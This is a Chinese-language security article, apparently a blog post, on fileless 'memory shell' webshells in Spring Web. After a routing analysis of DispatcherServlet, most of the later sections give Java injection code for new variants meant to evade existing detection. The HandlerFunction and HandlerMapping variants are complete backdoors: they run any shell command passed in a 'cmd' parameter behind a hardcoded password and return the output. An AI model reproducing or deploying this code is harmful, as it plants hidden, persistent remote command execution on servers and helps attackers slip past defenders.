SpringWeb内存马变型

• 一、前言
• 二、路由分析
• 2.1 获取HandlerExecutionChain
• 2.2 获取HandlerAdapter
• 2.3 执行
• 2.4 路由俯瞰图
• 三、变型
• 3.1 获取DispatcherServlet对象
• 3.2 向HandlerMapping添加Handler
• HandlerMethodShell
• ControllerHandlerShell
• HttpRequestHandlerShell
• ServletHandlerShell
• HandlerFunctionShell
• 3.3 自定义Handler.*相关属性
• HandlerMappingShell
• HandlerAdapterShell
• 3.4 修改路由处理过程的其他属性
• hook DispatcherServlet.MultipartResolver
• 四、总结

一、前言

业界公开的Spring内存马，主要分为两类：Controller型内存马和Interceptor类内存马。

其中实现Controller型内存马注入的代码如下，注入的核心逻辑是找到和路由分发功能有关的RequestMappingHandlerMapping对象，然后通过调用其registerMapping方法，动态添加路由及其对应的handler。

`public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {``   `    `WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`    `RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);`    `AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);`    `Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");`    `method.setAccessible(true);`    `Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);`    `Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");`    `field.setAccessible(true);`    `Map urlLookup = (Map) field.get(mappingRegistry);`    `Iterator urlIterator = urlLookup.keySet().iterator();`    `while (urlIterator.hasNext()){`        `String urlPath = (String) urlIterator.next();`        `if (this.injectUrlPath.equals(urlPath)){`            `System.out.println("URL已存在");`            `return;`        `}`    `}`    `Method method2 = InjectToController.class.getMethod("test");`    `PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath);`    `RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();`    `RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);`    `InjectToController injectToController = new InjectToController("aaa");`    `mappingHandlerMapping.registerMapping(info, injectToController, method2);``}`

interceptor型内存马的注入代码如下，注入的核心逻辑同样是先找到RequestMappingHandlerMapping对象，然后获取其从AbstractHandlerMapping父类继承的adaptedInterceptors属性，一个负责维护拦截器链的List，然后实现一个HandlerInterceptor加入List中。

`public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {`    `WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`    `org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");`    `java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");`    `field.setAccessible(true);`    `java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);`    `// 避免重复添加`    `for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {`        `if (adaptedInterceptors.get(i) instanceof TestInterceptor) {`            `System.out.println("已经添加过TestInterceptor实例了");`            `return;`        `}`    `}``   `    `TestInterceptor aaa = new TestInterceptor("aaa");``adaptedInterceptors.add(aaa);` `}`

注：此处代码来源于https://github.com/bitterzzZZ/MemoryShellLearn/blob/main/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC/spring-controller-interceptor/

不难发现，目前对于Spring内存马注入的一个重要对象是RequestMappingHandlerMapping，相应地，笔者看到很多文章和论文对于Spring内存马的查杀、防护，重点都是在分析RequestMappingHandlerMapping类。

但实际上，SpringWeb的路由处理核心并不在RequestMappingHandlerMapping，该类只是HandlerMapping的其中一种实现。

下面先分析SpringWeb的路由分发过程，然后给出几种不一样的Spring内存马注入点。

二、路由分析

SpringWeb的路由处理入口是DispatcherServlet，其继承关系如下所示（仅列出部分方法）。

Servlet是通过service()方法开始接入的，从图中可以看出，如果要从Spring接管路由开始分析，则应该以FrameworkServlet#service作为起点。不过这里跳过前面的调用过程，跳到DispatcherServlet#doDispatch方法开始，该方法其实分为四个部分：

第一部分：通过getHandler()方法获取HandlerExecutionChain
第二部分：通过getHandlerAdapter()方法获取HandlerAdapter
第三部分：执行，包括执行interceptorList，以及执行handler
第四部分：设配执行结果并返回

`protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {`    `...`    `try {`        `...`        `try {`            `// 解析multipart请求，非multipart请求会原样返回`            `HttpServletRequest processedRequest = checkMultipart(request);`            `multipartRequestParsed = (processedRequest != request);``   `            `// part1: 获取HandlerExecutionChain`            `HandlerExecutionChain mappedHandler = getHandler(processedRequest);`            `if (mappedHandler == null) {`                `noHandlerFound(processedRequest, response);`                `return;`            `}``   `            `// part2: 获取HandlerAdapter`            `HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());`            `...` `   `            `// part3：执行`            `            if (!mappedHandler.applyPreHandle(processedRequest, response)) {`                `return;`            `}``   `            `ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());`            `...``   `            `applyDefaultViewName(processedRequest, mv);`            `mappedHandler.applyPostHandle(processedRequest, response, mv);`        `}`        `catch (Exception ex) {`            `...`        `}``   `        `// part4: 将执行结果，也就是ModelAndView映射到response`        `processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);`    `}`    `catch (Throwable ex) {`        `...``    }`    `finally {`        `...`    `}``}`

这里重点对前面三部分展开进一步分析。

2.1 获取HandlerExecutionChain

通过HandlerMapping#getHandler()方法来获取HandlerExecutionChain，该类定义如下。有两个重要的属性：

handler：对应的其实就是业务处理类，大家常说的Controller，其实是Handler的一种，Handler本质上是不限定类型的。
interceptorList：拦截器链，保存了最终要执行的拦截链。

接着进一步分析getHandler方法

`protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {`    `if (this.handlerMappings != null) {`        `for (HandlerMapping mapping : this.handlerMappings) {`            `HandlerExecutionChain handler = mapping.getHandler(request);`            `if (handler != null) {`                `return handler;`            `}`        `}`    `}`    `return null;``}`

可以看到这过程是通过HandlerMapping做的，DispatchServlet的handlerMappings属性有多个HandlerMapping。HndlerMapping有多个实现类，前面提到的RequestMappingHandlerMapping是其中之一，下图是HandlerMapping家族。

注：在SpringMVC中，DispatcherServlet的handlerMappings默认只创建了两个HandlerMapping：RequestMappingHandlerMapping、BeanNameUrlHandlerMapping

HandlerMapping一共有五个默认的实现类，不同的实现类对应了不同的handler注册方式。

例如我们常用的@Controller注解+@RequestMapping注解的方式来注册handler，对应的HandlerMapping是RequestMappingHandlerMapping，而最终生成的handler类型则是HandlerMethod。

`@Controller``@RequestMapping("/ctest")``public class ctest {``   `    `@PostMapping("/index")`    `@ResponseBody`    `public String index(){`        `System.out.println("welcome to springmvc");`        `return "ctest";`    `}``}`

如果beanName以/开头，则也会被Spring解析成处理路由的Handler，如下代码，则对应HandlerMapping是BeanNameUrlHandlerMapping，而Handler就是Controller（取决于bean实现了哪个接口）。

`@Component("/*")``public class DefaultController implements Controller  {`    `@Override`    `public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {`        `ModelAndView modelAndView = new ModelAndView();`        `modelAndView.addObject("content","bean");`        `modelAndView.setViewName("bean");`        `return modelAndView;`    `}``}`

RouterFunctionMapping一般用于WebFlux的路由分发，而PathPatternMatchableHandlerMapping的getHandler方法是通过属性delegate实现的，本质上只做类似代理的功能，因此这两个就不展开分析了。

分析不同实现过程比较冗长，这里仅给出一些结论：

注册方式

handler

handlerMapping

@*Mapping注解

HandlerMethod

RequestMappingHandlerMapping

注册bean，beanName以/开头

Controller

(bean实现Controler接口)

默认：BeanNameUrlHandlerMapping

手动注册：SimpleUrlHandlerMapping

Servlet

(bean实现Servlet接口)

HttpRequestHandler

(bean实现HttpRequestHandler接口)

也就是说，不同方式来注册"特定路由的处理类"，会生成不同类型的Handler对象，不同的Handler对象由不同的HandlerMapping对象管理。

当请求进入后，DispatchServlet会遍历自身所有HandlerMapping，找到对应的Handler。

HandlerMapping的核心就在于找到对应的Handler，然后将Handler封装成HandlerExecutionChain对象，还记得HandlerExecutionChain的两个属性吗？handler+interceptorList，其实封装HandlerExecutionChain的过程，就是添加拦截链的过程，这个过程其实是在上层的抽象类AbstractHandlerMapping实现的，不同的HandlerMapping添加拦截链的过程是一样的，不过的是寻找Handler的过程，以及Handler的类型。

此外需要注意的是，不同HandlerMapping是有优先级的，优先级就体现在DispatcherServlet.handlerMappings中的顺序，优先级如下：

RequestMappingHandlerMapping：处理注解生成的路由
BeanNameUrlHandlerMapping：默认处理bean配置生成的路由
SimpleUrlHandlerMapping：显式使用SimpleUrlHandlerMapping注册路由

只要在前一类HandlerMapping找到了路由处理类，就不会再进入下一个HandlerMapping。

例如在BeanNameUrlHandlerMapping配置了一个DefaultHandler，那么无论什么路由都走不到SimpleUrlHandlerMapping，SimpleUrlHandlerMapping配置的所有路由都相当于失效了。

<bean name="/*" class="controller.DefaultController"></bean>

对于从Handler到HandlerExecutionChain的这一段，不展开分析，大体上可以认为：

如果Handler本身就是一个HandlerExecutionChain，那么将本身的属性复制过来，再额外添加公共的拦截链即可。（对于部分Handler，会再一开始就是生成对应的HandlerExecutionChain）
如果Handler不是一个HandlerExecutionChain，那么就创建一个新的HandlerExecutionChain，再额外添加公共的拦截链。

可以简单地看作，HandlerExecutionChain=Handler+interceptorList

2.2 获取HandlerAdapter

DispatcherServlet#getHandlerAdapter()方法最终返回一个HandlerAdapter对象。

`protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {`    `if (this.handlerAdapters != null) {`        `for (HandlerAdapter adapter : this.handlerAdapters) {`            `if (adapter.supports(handler)) {`                `return adapter;`            `}`        `}`    `}`    `throw new ServletException("No adapter for handler [" + handler +`            `"]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");``}`

HandlerAdapter最终的作用就是执行Handler的最终方法，前面说到，Handler本身是不限制类型的。

这些不同类型的handler怎么找到调用的入口方法，以及为不同方法传参呢？这就是HandlerAdapter的作用。

`public interface HandlerAdapter {`    `  boolean supports(Object handler);`    `  @Nullable`  `ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;`    `  @Deprecated`  `long getLastModified(HttpServletRequest request, Object handler);``   ``}`

HandlerAdapter"家族成员"的分布如下：

注：在SpringMVC中，DispatcherServlet的handlerAdapters默认创建了三个HandlerAdapter：RequestMappingHandlerAdapter 、HttpRequestHandlerAdapter、SimpleControllerHandlerAdapter

进一步分析各个HandlerAdapter的supports方法，可以看出其支持的handler，关系如下：

RequestMappingHandlerAdapter => HandlerMethod
HttpRequestHandlerAdapter => HttpRequestHandler
SimpleControllerHandlerAdapter => Controller
SimpleServletHandlerAdapter => Servlet
HandlerFunctionAdapter => HandlerFunction

2.3 执行

回顾一下执行部分的代码，其实执行又可以细分为三小步，见注释所示。

`// 1. 执行拦截器链的preHandle方法``if (!mappedHandler.applyPreHandle(processedRequest, response)) {`    `return;``}``   ``//  2. 执行HandlerAdapter的handle方法``ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());``...``   ``applyDefaultViewName(processedRequest, mv);``// 3. 执行拦截器链的postHandle方法``mappedHandler.applyPostHandle(processedRequest, response, mv);`

关于拦截器链的这一部分，对于所有Handler都是一致的：

先按顺序调用所有interceptor的preHandle方法，如果中间有一个方法返回了false，则倒序调用已执行过的interceptor的afterCompletion方法。然后直接返回。
等待HandlerAdapter的handle方法，倒序调用所有interceptor的postHandle方法。然后再倒序调用已执行过的interceptor的afterCompletion方法。

前面提到，HandlerAdapter的作用就是为对应handler怎么找到调用的入口方法，并设配入参。其handle方法的原型如下，本身的入参一共有三个。

ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;

这里挑一个最简单的SimpleControllerHandlerAdapter来观察其handle方法的实现。

`public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {`    `return ((Controller) handler).handleRequest(request, response);``}`

直接调用对应Controler的handleRequest方法，并传入request和response对象。这和Controller的接口定义是一致的。

`public interface Controller {`  `@Nullable`  `ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception;``   ``}`

当然，如果Handler的类型是HandlerMehtod，对应的设配器就是RequestMappingHandlerAdapter，情况就会复杂一些，毕竟入参不定，方法名也不定，Spring通过反射来实现了这些功能。不过RequestMappingHandlerAdapter分析不是今天的重点，只需要知道HandlerAdapter和Handler是如何运作的即可。

2.4 路由分发俯瞰图

以上就是SpringWeb路由分发的过程，可以总结为一张图：

三、变型

通过上一章对SpringWeb路由分发的分析，很容易可以看到，现在公开注入内存马的方式，也就是使用RequestMappingHandlerMapping类，只是HandlerMapping的一种。在SpringWeb的路由处理过程中，还有多个注入点。

3.1 获取DispatcherServlet对象

前面提到，DispatcherServlet才是路由处理的核心，无论是HandlerMapping，还是HandlerAdapter，都是DispatcherServlet的属性之一。如果能拿到DispatcherServlet，通过反射修改其属性，将大大增加内存马的注入范围。

SpringBoot可以直接在WebApplicationContext中拿到

`AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);``servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");`

但在纯SpringMVC的应用中，DispatcherServlet并没有默认注册到webApplicationContext。这里通过调试，找到了一种新方法适用于SpringMVC：

最终获取方法如下：

`public class Util {`    `    public DispatcherServlet getServlet(){`        `AbstractApplicationContext webApplicationContext = (AbstractApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`        `DispatcherServlet servlet = null;``   `        `try {`            `servlet = (DispatcherServlet) webApplicationContext.getBean("dispatcherServlet");`        `}catch (Exception e1){`            `try {`                `for (ApplicationListener applicationListener:webApplicationContext.getApplicationListeners()) {`                    `if (applicationListener instanceof SourceFilteringListener) {`                        `GenericApplicationListenerAdapter gl = (GenericApplicationListenerAdapter) getFieldValue(applicationListener, "delegate");`                        `Object delegate = getFieldValue(gl, "delegate");`                        `if (delegate.getClass().getName().equals("org.springframework.web.servlet.FrameworkServlet$ContextRefreshListener")) {`                            `servlet = (DispatcherServlet) getFieldValue(delegate, "this$0");`                        `}`                    `}`                `}`            `}catch (Exception e2){`                `e2.printStackTrace();`            `}`        `}`        `return servlet;`    `}``   `    `public static Field getField(Class clazz, String fieldName) {`        `try {`            `Field field = clazz.getDeclaredField(fieldName);`            `field.setAccessible(true);`            `return field;`        `}catch (Exception e){`            `return null;`        `}`    `}``   `    `public static Object getFieldValue(Object obj,String fieldName) throws IllegalAccessException {`        `Class clazz = obj.getClass();`        `Field targetField = getField(clazz,fieldName);`        `while (targetField==null && clazz!=Object.class){`            `clazz = clazz.getSuperclass();`            `targetField = getField(clazz,fieldName);`        `}`        `if(targetField!=null){`            `return targetField.get(obj);`        `}`        `return null;`    `}``}`

3.2 向HandlerMapping添加Handler

HandlerMapping几乎可以看作SpringWeb路由分发的第一个入口，并且所有HandlerMapping都直接注册到了WebApplicationContext，可以直接在WebApplicationContext中拿到，因此可以通过向已有的HandlerMapping添加Handler实现内存马。

3.2.1 HandlerMethodShell

也就是业界所提的"Spring Controller"型内存马，其实个人更愿意将其称为HandlerMethod型内存马，因为最终创建的Handler类型是HandlerMethod。

从SpringWeb 4.2.0.RELEASE版本开始，requestMappingHandlerMapping的父类AbstractHandlerMethodMapping提供了registerMapping方法注册，因此不需要自己去构造HandlerMethod对象。

`public class HandlerMethodShell {``   `    `public String injecShell() throws Exception {`        `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`        `RequestMappingHandlerMapping requestMappingHandlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);``   `        `Method method = HandlerMethodShell.class.getMethod("shell");`        `RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();`        `RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) Util.getFieldValue(requestMappingHandlerMapping,"config");`        `RequestMappingInfo info = RequestMappingInfo.paths("/shell1").options(config).build();`        `Object handler = new HandlerMethodShell();`        `requestMappingHandlerMapping.registerMapping(info, handler, method);``   `        `return "{\"result\":\"injectHandlerMethodShell\"}";`    `}``   `    `public void shell() throws Exception {`        `HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();`        `HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();`        `...`    `}``}`

3.2.2 ControllerHandlerShell

实现Controller接口，通过反射添加到BeanNameUrlHandlerMapping

Controller默认对应的是SimpleControllerHandlerAdapter，默认存在，因此不需要手动添加。

`public class ControllerHandlerShell implements Controller {``   `    `public String injectShell() throws Exception{`        `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`        `BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);`        `Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");`        `Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");`        `field.setAccessible(true);`        `Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);`        `handlerMap.put("/shell2",new ControllerHandlerShell());`        `return "{\"result\":\"injectControllerHandlerShell\"}";`    `}``   `    `@Override`    `public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {`        `...`    `}``}`

3.2.3 HttpRequestHandlerShell

实现HttpRequestHandler接口，通过反射添加到BeanNameUrlHandlerMapping。

除了Controller，HttpRequestHandler也是Spring内置的一种handler类型。并且对应的HttpRequestHandlerAdapter也是默认存在的。

`public class HttpRequestHandlerShell implements HttpRequestHandler {``   `    `public String injectShell() throws Exception{`        `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`        `BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);`        `Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");`        `Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");`        `field.setAccessible(true);`        `Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);`        `handlerMap.put("/shell3",new HttpRequestHandlerShell());`        `return "{\"\result\":\"injectHttpRequestHandlerShell\"}";`    `}``   ``   `    `@Override`    `public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {`       `...`    `}``   ``}`

3.2.4 ServletHandlerShell

实现一个Servlet类，通过反射添加到BeanNameUrlHandlerMapping。

注意这里虽然是Servlet，但实际上是作为一个Handler添加的，在DispatcherServlet后接入。对应的是SimpleServletHandlerAdapter，这个HandlerAdapter并不是默认就创建的，因此需要考虑手工添加的情况。

`public class ServletHandlerShell extends HttpServlet {``   `    `public String injectShell() throws Exception{`        `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`        `BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);`        `// 添加handlerAdapter`        `DispatcherServlet servlet = new Util().getServlet();`        `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");`        `boolean hasSimpleServletHandlerAdapter = false;`        `for(HandlerAdapter adapter:handlerAdapters){`            `if(adapter instanceof SimpleServletHandlerAdapter){`                `hasSimpleServletHandlerAdapter = true;`                `break;`            `}`        `}`        `if(!hasSimpleServletHandlerAdapter){`            `handlerAdapters.add(new SimpleServletHandlerAdapter());`        `}``   `        `// 添加handler`        `Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");`        `Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");`        `field.setAccessible(true);`        `Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);`        `handlerMap.put("/shell4",new ServletHandlerShell());`        `return "{\"\result\":\"injectServletHandlerShell\"}";`    `}``   `    `@Override`    `protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {`        `...`    `}``   ``}`

3.2.5 HandlerFunctionShell

前面说到，RouterFunctionMapping一般用于WebFlux的路由处理，但实际上在SpringWeb中也是可以使用的，SpringBoot也默认创建了一个RouterFunctionMapping。

RouterFunctionMapping通过自身另外一个属性RouterFunction来获取的Handler对象，默认类型为HandlerFunction，对应的Adapter是HandlerFunctionAdapter。

如下是RouterFunctionMapping获取Handler的过程。

`protected Object getHandlerInternal(HttpServletRequest servletRequest) throws Exception {`    `if (this.routerFunction != null) {`        `ServerRequest request = ServerRequest.create(servletRequest, this.messageConverters);`        `HandlerFunction<?> handlerFunction = this.routerFunction.route(request).orElse(null);`        `setAttributes(servletRequest, request, handlerFunction);`        `return handlerFunction;`    `}`    `else {`        `return null;`    `}``}`

如果需要添加一个HandlerFunction来作为内存马，就需要Hook RouterFunctionMapping的routerFunction。

`public class HandlerFunctionShell implements HandlerFunction {``   `    `@RequestMapping("/injectRouteFunctionHandlerDelegateShell")`    `public String injectRouteFunctionHandlerShell() throws Exception{`        `WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);`        `DispatcherServlet servlet = new Util().getServlet();`        `// 如果未添加HandlerFunctionAdapter，则主动添加`        `try {`            `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");`            `boolean hasHandlerFunctionAdapter = false;`            `for(HandlerAdapter adapter:handlerAdapters){`                `if(adapter instanceof HandlerFunctionAdapter){`                    `hasHandlerFunctionAdapter = true;`                    `break;`                `}`            `}`            `if(!hasHandlerFunctionAdapter){`                `handlerAdapters.add(new HandlerFunctionAdapter());`            `}`        `}catch (Exception e){`            `e.printStackTrace();`        `}``   `        `// 如果未注册RouteFuntion，则主动注册，否则hook其RouterFunction`        `List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");`        `boolean hasRouterFunctionMapping = false;`        `RouterFunctionMapping routerFunctionMapping = null;`        `for(HandlerMapping handlerMapping: handlerMappings){`            `if(handlerMapping instanceof RouterFunctionMapping){`                `routerFunctionMapping = (RouterFunctionMapping) handlerMapping;`                `hasRouterFunctionMapping = true;`                `break;`            `}`        `}`        `if(!hasRouterFunctionMapping){`            `routerFunctionMapping = new RouterFunctionMapping();`            `handlerMappings.add(routerFunctionMapping);`        `}`        `// hook Funtion`        `if(routerFunctionMapping != null){`            `RouterFunction routerFunction = (RouterFunction) Util.getFieldValue(routerFunctionMapping,"routerFunction");`            `RouterFunctionDelagate functionDelagate = new RouterFunctionDelagate(routerFunction);`            `routerFunctionMapping.setRouterFunction(functionDelagate);`        `}``   `        `return "{\"\result\":\"injectRouteFunctionHandlerDelegateShell\"}";`    `}``   `    `@Override`    `public ServerResponse handle(ServerRequest request) throws Exception {`        `boolean islinux = true;`        `String osType = System.getProperty("os.name");`        `if (osType !=null && osType.toLowerCase().contains("win")){`            `islinux = false;`        `}`        `String cmd = request.param("cmd").get();`        `System.out.println("cmd: " + cmd);`        `String[] cmds = islinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};`        `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();`        `Scanner s = new Scanner(in).useDelimiter("\\A");`        `String output = s.hasNext() ? s.next() : "";``   ``   `        `return ServerResponse.status(HttpStatus.OK).contentType(MediaType.TEXT_PLAIN).body(output);`    `}`    `    class RouterFunctionDelagate<T extends ServerResponse> implements RouterFunction {``   `        `RouterFunction delegate;`        `HandlerFunctionShell handlerFunctionShell;``   `        `public RouterFunctionDelagate(RouterFunction delegate){`            `this.delegate = delegate;`            `this.handlerFunctionShell = new HandlerFunctionShell();`        `}``   `        `@Override`        `public Optional<HandlerFunction> route(ServerRequest request) {`            `try {`                `String cmd = request.param("cmd").get();`                `String passwd = request.param("mypasswd").get();`                `System.out.println("passwd: " + passwd);`                `System.out.println("cmd: " + cmd);`                `if(passwd!=null && cmd !=null & passwd.equals("ape1ron")){`                    `return Optional.of(this.handlerFunctionShell);`                `}`            `}catch (Exception e){``   `            `}`            `if (delegate==null){`                `return Optional.empty();`            `}`            `return delegate.route(request);`        `}``   `        `@Override`        `public RouterFunction and(RouterFunction other) {`            `if (delegate==null){`                `return null;`            `}`            `return delegate.and(other);`        `}``   ``   `        `@Override`        `public RouterFunction andOther(RouterFunction other) {`            `if (delegate==null){`                `return null;`            `}`            `return this.delegate.andOther(other);`        `}``   `        `@Override`        `public  RouterFunction andRoute(RequestPredicate predicate, HandlerFunction handlerFunction) {`            `if (delegate==null){`                `return null;`            `}`            `return this.delegate.andRoute(predicate,handlerFunction);`        `}``   ``   `        `@Override`        `public RouterFunction andNest(RequestPredicate predicate, RouterFunction routerFunction) {`            `if (delegate==null){`                `return null;`            `}`            `return this.delegate.andNest(predicate,routerFunction);`        `}``   `        `@Override`        `public  RouterFunction filter(HandlerFilterFunction filterFunction) {`            `if (delegate==null){`                `return null;`            `}`            `return this.delegate.filter(filterFunction);`        `}``   `        `@Override`        `public RouterFunction withAttribute(String name, Object value) {`            `if (delegate==null){`                `return null;`            `}`            `return this.delegate.withAttribute(name,value);`        `}``   `        `@Override`        `public RouterFunction withAttributes(Consumer attributesConsumer) {`            `if (delegate==null){`                `return null;`            `}`            `return this.delegate.withAttributes(attributesConsumer);`        `}`    `}``}``   `

3.3 自定义Handler.*相关属性

前面已经找到了获取DispatcherServlet对象的方法，因此除了向已有的HandlerMapping添加Handler外，还可以直接注册HandlerMapping、或者是HandlerAdapter等对象，也可以实现接管路由的功能，实现内存马。

3.3.1 HandlerMappingShell

通过前面的路由分析可以知道，DispatcherServlet会遍历调用其handlerMappings属性保存的HandlerMapping的getHandler方法。因此可以实现一个自定义的HandlerMapping，让其返回我们自定义的Handler。

Handler本身就可以作为任意类型，要正常被调用，还需要一个HandlerAdapter配合，才能正常调用。如下分别实现了自定义的：HandlerMapping+Handler+HandlerAdapter来注入内存马。

注意，实际判断路由是否由自定义的HandlerMapping处理，是在getHandler()方法，这里可以匹配任意路由，通过了判断参数的mypasswd和cmd来作为判断条件，因此也可以实现复用正常的请求路径。

`public class HandlerMappingShell  implements HandlerMapping {`    `HandlerExecutionChain chain;``   `    `public String injectShell() throws Exception{`        `DispatcherServlet servlet = new Util().getServlet();`        `List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");`        `handlerAdapters.add(new HandlerMappingShell.MyHandlerAdapter());`        `List<HandlerMapping> handlerMappings = (List<HandlerMapping>) Util.getFieldValue(servlet,"handlerMappings");`        `handlerMappings.add(0,new HandlerMappingShell());`        `return "{\"result\":\"HandlerMappingShell\"}";`    `}``   `    `public HandlerMappingShell(){`        `chain = new HandlerExecutionChain(new HandlerMappingShell.MyHandler());`    `}``   `    `@Override`    `public HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {`        `String passwd = request.getParameter("mypasswd");`        `String cmd = request.getParameter("cmd");`        `if(passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){`            `return chain;`        `}`        `return null;`    `}``   `    `class MyHandler{`        `public void handle(HttpServletRequest request,HttpServletResponse response) throws IOException {`            `if (request.getParameter("cmd") !=null){`                `boolean islinux = true;`                `String osType = System.getProperty("os.name");`                `if (osType !=null && osType.toLowerCase().contains("win")){`                    `islinux = false;`                `}`                `String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};`                `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();`                `Scanner s = new Scanner(in).useDelimiter("\\A");`                `String output = s.hasNext() ? s.next() : "";`                `response.getWriter().write(output);`                `response.getWriter().flush();`                `response.getWriter().close();`            `}`        `}`    `}``   `    `class MyHandlerAdapter implements HandlerAdapter{``   `        `@Override`        `public boolean supports(Object handler) {`            `return handler instanceof HandlerMappingShell.MyHandler;`        `}``   `        `@Override`        `public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {`            `((HandlerMappingShell.MyHandler)handler).handle(request,response);`            `return null;`        `}``   `        `@Override`        `public long getLastModified(HttpServletRequest request, Object handler) {`            `return 0;`        `}`    `}``}`

3.3.2 HandlerAdapterShell

上面实现了三个对象来定制了一条完整的路由，但实际上最终执行是由HandlerAdapter决定，因此实现HandlerAdapter也能达成目的。

实现一个自定义的HandlerAdapter，并放置于DispatcherServlet.handlerAdapters列表的首位。通过自定义HandlerAdapter来hook其他所有HandlerAdapter。

